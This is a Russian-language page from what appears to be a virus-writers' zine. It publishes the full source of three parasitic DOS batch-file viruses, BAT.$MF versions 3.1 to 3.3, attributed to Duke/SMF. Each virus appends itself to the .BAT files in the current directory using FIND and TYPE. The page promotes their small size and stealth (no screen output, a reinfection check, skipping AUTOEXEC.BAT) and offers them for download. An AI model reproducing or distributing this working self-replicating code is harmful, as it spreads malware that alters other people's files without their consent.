D V L # 2

Семейство вирусов BAT.$MF (c) by Duke/SMF
Автором всех вирусов этого семейства является Duke/SMF. Деление вирусов на версии производится по следующему правилу: v1.x - вирусы со вставками ASM'а или скриптов v2.x - компаньон вирусы v3.x - попытки написать самый короткий паразитический вирус, использование find v4.x - вирусы-черви v5.x - паразитические вирусы, использование type На настоящий момент с семейство входит более 10 вирусов. ******************************************************************** Имя вируса : BAT.$MF v3.1 Дата создания : 06.09.98 Длина вируса : 350 байт (с учетом пустых строк в конце файла, для "круглой" длины) ===== Cut here ===== @echo off if "%1=="$MF goto $MFz echo. >$MF.bat echo @echo off>>$MF.bat find "$MF"<%0>>$MF.bat echo echo on>>$MF.bat for %%b in (*.bat) do call $MF.bat $MF %%b del $MF.bat>nul goto $MFe :$MFz if "%2=="autoexec.bat goto $MFe find "$MF"<%2>nul if not errorlevel 1 goto $MFe type $MF.bat>>%2 rem BAT.$MF 3.1 by Duke/$MF :$MFe echo on ===== Cut here ===== ******************************************************************** Имя вируса : BAT.$MF v3.2 Дата создания : 10.09.98 Длина вируса : 278 байт Прирост файлов : 282 байт (за счет добавления двух пар #10#13) ===== Cut here ===== @echo off if "%1=="@ goto $&z echo.>$&.bat echo @echo off>>$&.bat find "$&"<%0>>$&.bat for %%b in (*.bat) do call $&.bat @ %%b del $&.bat goto $& :$&z [$MF 3.2, Duke/SMF] if "%2=="autoexec.bat goto $& find "$&"<%2>nul if not errorlevel 1 goto $& type $&.bat>>%2 :$& ===== Cut here ===== ******************************************************************** Имя вируса : BAT.$MF v3.3 Дата создания : 07.10.98 Длина вируса : 245 байт Прирост файлов : 249 байт (за счет добавления двух пар #10#13) Этот вирус претендует на звание "Самый маленький в мире BAT-вирус, написанный только на DOS-командах" :) ===== Cut here ===== @echo off %$&% if "%1=="@ goto $&z echo.>$&.bat find "$&"<%0>>$&.bat for %%b in (*.bat) do call $&.bat @ %%b del $&.bat goto $& :$&z [$MF 3.3,Duke/SMF] if "%2=="autoexec.bat goto $& find "$&"<%2>nul if errorlevel 1 type $&.bat>>%2 :$& ===== Cut here ===== ******************************************************************** Преимущества вирусов семейства BAT.SMF v3.x над другими BAT-вирусами: 1. Не содержат вставок на асемблере - только DOS команды! 2. Малая длина вирусов - 350 и 278 байт. Это одни из самых маленьких BAT-вирусов в мире! 3. Проверка на повторное заражение. 4. Не выдают посторонних надписей на экран. 5. Не оставляют после себя ненужных файлов. 6. Пораженные файлы сохраняют полную работоспособность. 7. Потомки вирусов работоспособны во всех поколениях. 8. Проверяет и не поражает AUTOEXEC.BAT 9. Состоят из одного файла и не требуют инсталляции. 10. В вирусах используются редко встречающиеся метки. ******************************************************************** Общая характеристика вирусов семейства BAT.SMF v3.x : Неопасные, файловые, паразитические BAT-вирусы. Для размножения используют команду FIND. Поражают BAT-файлы в текущем каталоге. Поражение производится в конец файла. Не поражают файл autoexec.bat (по причине не возвращения им при загрузке системы нулевого параметра командной строки). При отсутствии утилиты FIND в каталогах PATH перестают корректно работать. Все представленные вирусы работают по одному алгоритму, уменьшение длины в новых версиях происходит за счет оптимизации кода, а не в ущерб качеству.

Здесь вы можете скачать:
Семейство вирусов BAT.$MF v3.1, 3.2, 3.3

Back Вернуться на страницу оглавления